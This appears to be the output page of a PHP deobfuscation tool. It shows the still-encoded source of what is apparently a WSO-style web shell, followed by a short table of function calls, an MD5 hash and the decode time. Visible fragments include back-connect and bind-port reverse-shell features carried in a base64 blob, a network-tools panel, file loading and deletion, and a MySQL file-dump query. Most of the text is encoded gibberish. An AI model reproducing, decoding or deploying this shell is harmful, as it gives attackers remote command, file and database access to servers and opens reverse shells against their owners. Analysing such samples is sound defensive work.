<;LT]BT<;UXTBRCXAEP]TCEtCC^CrP_mE^AT_WX]T
FX_U^FYXBE^CHSPRZ BRCXAE
<;L<;FB^yTPUTC
<;TRY^<;Y b@]SC^FBTCY UXGR]PBBR^_ET_E<;W^C\_P\TBW\TEY^UA^BE^_BDS\XEWBEYXB
EPS]TRT]]APUUX_VRT]]BAPRX_VEC<;EUeHATEUEUy^BEEUEU}^VX_EUEUaPBBF^CUEUEUuPEPSPBTEUEUEUECEC<;X_ADEEHATYXUUT__P\TPGP]DTb@]X_ADEEHATYXUUT__P\TA GP]DT@DTCHX_ADEEHATYXUUT__P\TAGP]DTX_ADEEHATYXUUT__P\TRGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUlX_ADEEHATYXUUT__P\TRYPCBTEGP]DTXBBTEna~bejRYPCBTElna~bejRYPCBTEl<;EUBT]TRE_P\TEHAT^AEX^_GP]DT\HB@]
<;XWqna~bejEHATl\HB@]TRY^BT]TRETU
<;TRY^|Hb@]^AEX^_^AEX^_GP]DTAVB@]
<;XWqna~bejEHATlAVB@]TRY^BT]TRETU
<;TRY^a^BEVCTb@]^AEX^_BT]TREEU<;EUX_ADEEHATETIE_P\TB@]nY^BEGP]DTmT\AEHna~bejB@]nY^BEl]^RP]Y^BEYE\]BATRXP]RYPCBna~bejB@]nY^BElmEU<;EUX_ADEEHATETIE_P\TB@]n]^VX_GP]DTmT\AEHna~bejB@]n]^VX_lC^^EYE\]BATRXP]RYPCBna~bejB@]n]^VX_lmEU<;EUX_ADEEHATETIE_P\TB@]nAPBBGP]DTmT\AEHna~bejB@]nAPBBlYE\]BATRXP]RYPCBna~bejB@]nAPBBlmEUEU
<;E\AX_ADEEHATETIE_P\TB@]nSPBTGP]DT
<;XWXBBTEna~bejB@]nY^BElJ<;XWUSR^__TREna~bejB@]nY^BElna~bejB@]n]^VX_lna~bejB@]nAPBBlna~bejB@]nSPBTlJ<;BFXERYna~bejRYPCBTElJ<;RPBTfX_U^FB  USBTErYPCBTERA  
SCTPZ
<;RPBTdew	USBTErYPCBTEDEW	
SCTPZ
<;RPBTz~x	cUSBTErYPCBTEZ^X	C
SCTPZ
<;RPBTz~x	dUSBTErYPCBTEZ^X	D
SCTPZ
<;RPBTRA	USBTErYPCBTERA	
SCTPZ
<;L<;US]XBEuSB
<;TRY^BT]TRE_P\TB@]nSPBT^AEX^_GP]DT^AEX^_
<;FYX]TXET\USWTERYJ<;]XBEZTHGP]DTTPRYXET\
<;TRY^^AEX^_GP]DTGP]DTGP]DTna~bejB@]nSPBTlBT]TRETUGP]DT^AEX^_
<;L<;TRY^BT]TRE
<;L<;T]BTTRY^E\A
<;LT]BT<;TRY^E\A
<;TRY^EU<;8888EUX_ADEEHATBDS\XEGP]DT^_R]XRZWBUBW
EU<;EUX_ADEEHATRYTRZS^I_P\TB@]nR^D_EGP]DT^_T\AEHna~bejB@]nR^D_ElRYTRZTUR^D_EEYT_D\STC^WC^FBEU<;888EC<;88EPS]T<;88BRCXAE<;BnUSqPUUB]PBYTBna~bejB@]nSPBTl
<;WD_REX^_WBWJ<;XWWB@]nSPBTGP]DTBnUSJW^_BDS\XEWD_REX^_JL
<;XWWA WA GP]DT
<;XWWAWAGP]DT
<;XWWAWAGP]DT
<;L<;L<;888WD_REX^_BEE]J<;8888UBWA GP]DTBT]TRE
<;8888UBWAGP]DTE
<;XW]UBWAUBWAGP]DT]
<;8888UBWBDS\XE
<;888L<;888WD_REX^_XBJ<;8888W^CX
XUBWT]T\T_EBjES]jll]T_VEY
X<;88888UBWT]T\T_EBjES]jlljXlRYTRZTUUBWT]T\T_EBjES]jlljXlRYTRZTU
<;888L<;88BRCXAE
<;XWXBBTEUSUS]X_ZJ<;TRY^SCEPS]TFXUEY RT]]APUUX_VRT]]BAPRX_V
<;XWT\AEHna~bejB@]nSPBTlJ<;USBT]TREUSna~bejB@]nSPBTl
<;TRY^ECEUFXUEY BEH]TS^CUTCE^AAIB^]XU
BAP_ePS]TBBAP_SCSC
<;ES]BnCTBUS]XBEePS]TB
<;FYX]TXET\USWTERYES]BnCTBJ<;]XBEZTHGP]DTTPRYXET\
<;XWT\AEHna~bejB@]nR^D_El<;_USWTERYUS@DTCHbt}trer~dePB_wc~|GP]DT
<;GP]DTYE\]BATRXP]RYPCBGP]DT
<;TRY^_^SCX_ADEEHATRYTRZS^I_P\TES]jlGP]DTGP]DT_SBA
PYCTW^_R]XRZmBEGP]DT mGP]DTPT\AEHna~bejB@]nR^D_El_SBA
B\P]]J_j_lLB\P]]_^SCSC
<;L<;TRY^X_ADEEHATRYTRZS^I^_R]XRZXB
X_ADEEHATSDEE^_GP]DTuD\A^_R]XRZU^RD\T_EBWAGP]DTmU^F_]^PUm
U^RD\T_EBWBDS\XE
SCwX]TAPEYX_ADEEHATETIE_P\TWX]TGP]DTUD\AB@]EUEUBEH]TS^CUTCE^AAIB^]XU

<;XWqna~bejA lBT]TREJ<;na~bejA l@DTCH
<;na~bejAlna~bejAlna~bejAl 
<;US@DTCHbt}trer~dePB_wc~|na~bejAl
<;_D\USWTERY
<;APVTBRTX]_D\j_l
<;TRY^BRCXAEUBW^_BDS\XEWD_REX^_JBEmna~bejAlmUBWAGP]DTLBRCXAEBAP_na~bejAlBAP_J_D\j_lLCTR^CUBaPVTX_ADEEHATETIE_P\TAGP]DTX_Ena~bejAl
<;TRY^^WAPVTB
<;XWna~bejAl <;TRY^PYCTW^_R]XRZBEmna~bejAlna~bejAl ]E
aCTGP
<;XWna~bejAlAPVTB<;TRY^PYCTW^_R]XRZBEmna~bejAlna~bejAl TIEVE
P
<;na~bejAl
<;XWna~bejEHATlAVB@]<;na~bejAlbt}trewc~|na~bejAl}x|xe~wwbtena~bejAl
<;T]BT<;na~bejAlbt}trewc~|Qna~bejAlQ}x|xena~bejAl
<;TRY^SCSC
<;L<;XWqna~bejA l@DTCHT\AEHna~bejAlJ<;US@DTCHqna~bejAl
<;XWUSCTBWP]BTJ<;EXE]TWP]BT
<;TRY^EPS]TFXUEY RT]]BAPRX_V RT]]APUUX_VR]PBB\PX_BEH]TSPRZVC^D_UR^]^C
<;]X_T 
<;FYX]TXET\USWTERY8J<;XWEXE]T8J<;TRY^EC
<;W^CTPRYXET\PBZTHGP]DT<;TRY^EYZTHEY
<;CTBTEXET\
<;EXE]TECDT
<;TRY^ECEC
<;]X_T
<;L<;TRY^ECR]PBB]]X_T
<;]X_T]X_T  
<;W^CTPRYXET\PBZTHGP]DTJ<;XWGP]DT_D]]<;TRY^EUX_D]]XEU
<;T]BT<;TRY^EU_]SCYE\]BATRXP]RYPCBGP]DTEU
<;L<;TRY^EC
<;L<;TRY^EPS]T
<;LT]BTJ<;TRY^UXGStCC^CSYE\]BATRXP]RYPCBUSTCC^CUXG
<;L<;L<;TRY^SCW^C\W^C\^_BDS\XEUBWA GP]DTm@DTCHm
UBWAGP]DTEYXB@DTCHGP]DT
U^RD\T_EBWBDS\XE
CTEDC_WP]BT
ETIEPCTP_P\T@DTCHBEH]TFXUEY 
YTXVYE AI
<;XWT\AEHna~bejAlna~bejA l]^PUWX]T<;TRY^YE\]BATRXP]RYPCBna~bejAl
<;TRY^ETIEPCTPSCX_ADEEHATBDS\XEGP]DTtITRDET
<;TRY^EUEC
<;L<;TRY^EPS]TW^C\SC
<;XWna~bejEHATl\HB@]J<;US@DTCHbt}tre wc~|\HB@]DBTCfytctR^_RPEQDBTCQqQY^BEQdbtcpuQwX]TnACXGQH
<;XWUSWTERY<;TRY^W^C\^_BDS\XEUBWA GP]DTm]^PUWX]Tm
U^RD\T_EBWAGP]DTEYXBWGP]DT
U^RD\T_EBWBDS\XE
CTEDC_WP]BT
BAP_}^PUWX]TBAP_X_ADER]PBBE^^]Bx_AEHATETIE_P\TWX_ADEEHATBDS\XEGP]DTW^C\
<;L<;XWqna~bejA l]^PUWX]TJ<;WX]TUS]^PUwX]Tna~bejAl
<;TRY^SCACTR]PBB\] YE\]BATRXP]RYPCBWX]TjWX]TlACT
<;L<;LT]BTJ<;TRY^YE\]BATRXP]RYPCBUSTCC^C
<;L<;TRY^UXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_TEF^CZJ<;FB^yTPUTC
<;SPRZnR^__TREnAxHtGUiH}{ASXFki{Bu`A RdVd[Pg~Fz{v]YkvcHaf]DkicWhicGSXVZ`g{yg]BFibZVWyFVkv]]zr{wR_{GR[^V{rwRSXxA~Fz{ysYkvcHaiGhEYkvcHi]DzrcsdZUffKwU}rpZPfwZkyxAxyI	xvcAkbVXci{HSxxr`YivXzeBrXcFR\SK _kicFR\S{S\wEkbV_UvF{HZu`AKSCki`^dubgd}rs`c]{eZgd}rsee}i ddZgsebFV{ysHScGzbs	WrsZPfd^xZgHR\H~XpZxgIDxXZu`A[SDkfzwa`EwgrFV{ysYkvcHzbs	WrsZPfd^xZgHR\H~XpZxgIDxXZu`AGRvgDzwdct]~}rpXaXkee}cg`XzeBr\Fkf^d cte gd}rpXaXkee}cg`XzeBr\Fkf^d ctcg{b}rpXaXkee}cg`XzeBr_Rc]SbV_}{ASXKPrpEPbRA~FzhIGRd^d ctbdA~FzhIGRd^d cte gdzeBr\BS]zwdctgbdXZ
<;SX_UnA^CEnAxHtGUiH}{ASXFki{Bu`^ZdYwetFxXXPfGRVV}fZX~FzPfhVztssdZUfxuFV|bZVTHs]Tv]zutA~Hsu`A RdVd[Pg~FzR[Pgzw|B{]svi]~cg`B{]a`EWd cbcdw}vU]UysHScGh_]Dhf ]zrUhp_zbZVWyFVkv]]xr{uhfxvHkfwkbsKSCkicRSXxu`AKkicKSCSszw|Bd|i a`EwgrIee bcggecdwtcwxB|bZu`AXPfZzw|BR[PwZky{WPf^{twbc kS|wBbdsctcbiw~fbZAxyI	xvcAkbpX`wDUrsGRvgDxysGR_cRSXxu`ABPikf^dHFKzbs	WrsZPfdVxZYS_`VSv]KUvgDxysGR_cRSXxu`APv]BkbVIzbsu`^{hf[kisztaeZBdHZu`^{Pfh^xbVZRv]ZafkGR\BAzbsu`^{rfcAkbpX`wDS\xvkGR\BXxv]\xrVYkvg\Pf]krpZRv]ZzeBrVZ{Ss]SXsegtc{eXFXarkue~x[BrVZ{Ss]SXsegtcagg`Bx[\`~eXxu`^{rfFkfVd ctcg{b}rx{ZaeZX~Fzr`]]Tvg[xrcebtg|ers	WrsZPfdVRy{AS_`V`~eXpX`wDUrs]Tvg[Uic]xrcebtg|ewIDx[BrVZ{hIGRdV`~e[BrVZ{kiYAUrpF~Fzrir_
<;TRY^Y TEF^CZE^^]BY UXGR]PBBR^_ET_E<;8W^C\_P\T_WA^_bDS\XEmV_D]]_D]]SAAEYXBA^CEGP]DT
CTEDC_WP]BT
m<;8BAP_sX_UA^CEE^SX_BYjATC]lBAP_SC<;8a^CEX_ADEEHATETIE_P\TA^CEGP]DT X_ADEEHATBDS\XEGP]DT<;8W^C\<;8W^C\_P\T_WA^_bDS\XEmV_D]]_D]]SRAEYXBBTCGTCGP]DTEYXBA^CEGP]DT
CTEDC_WP]BT
m<;8BAP_sPRZR^__TREjATC]lBAP_SC<;8bTCGTCX_ADEEHATETIE_P\TBTCGTCGP]DTnbtcgtcjct|~etnpuucla^CEX_ADEEHATETIE_P\TA^CEGP]DT X_ADEEHATBDS\XEGP]DT<;8W^C\SC
<;XWXBBTEna~bejA lJ<;WD_REX^_RWWEJ<;FqW^AT_WF^CqWD_REX^_nTIXBEBWX]TnADEnR^_ET_EB
<;XWFJ<;qWFCXETFqSPBTnUTR^UTE
<;qWR]^BTF
<;L<;L<;XWna~bejA lSAAJ<;RWE\ASAA]SX_UnA^CEnA
<;^DEFB^tIATC]E\ASAA]na~bejAl UTG_D]] 
<;B]TTA 
<;TRY^ACTR]PBB\] ^DEm_FB^tIABPDIMVCTASAA]ACT
<;D_]X_ZE\ASAA]
<;L<;XWna~bejA lSRAJ<;RWE\ASRA]SPRZnR^__TREnA
<;^DEFB^tIATC]E\ASRA]na~bejAlna~bejAl UTG_D]] 
<;B]TTA 
<;TRY^ACTR]PBB\] ^DEm_FB^tIABPDIMVCTASRA]ACT
<;D_]X_ZE\ASRA]
<;L<;L<;TRY^UXG
<;FB^w^^ETC
<;L<;WD_REX^_PREX^_crJ<;XWqna~bejA lJ<;PPCCPH<;D_P\TAYAnD_P\T<;AYAnGTCBX^_AYAGTCBX^_<;FB^nGTCBX^_fb~ngtcbx~<;BPWT\^UTqX_XnVTEBPWTn\^UT<;
<;TRY^BTCXP]XKTP
<;LT]BTJ<;TGP]na~bejA l
<;L<;L<;XWT\AEHna~bejPl<;XWXBBTEUTWPD]EnPREX^_WD_REX^_nTIXBEBPREX^_UTWPD]EnPREX^_<;na~bejPlUTWPD]EnPREX^_
<;T]BT<;na~bejPlbTRx_W^
<;<;XWT\AEHna~bejPlWD_REX^_nTIXBEBPREX^_na~bejPl<;RP]]nDBTCnWD_RPREX^_na~bejPl
"),"111"));?>Function Calls
| e | 1 |
| strlen | 2 |
| base64_decode | 1 |
Stats
| MD5 | 3645edbba4c4796da3372a62a6f5ff46 |
| Eval Count | 0 |
| Decode Time | 1495 ms |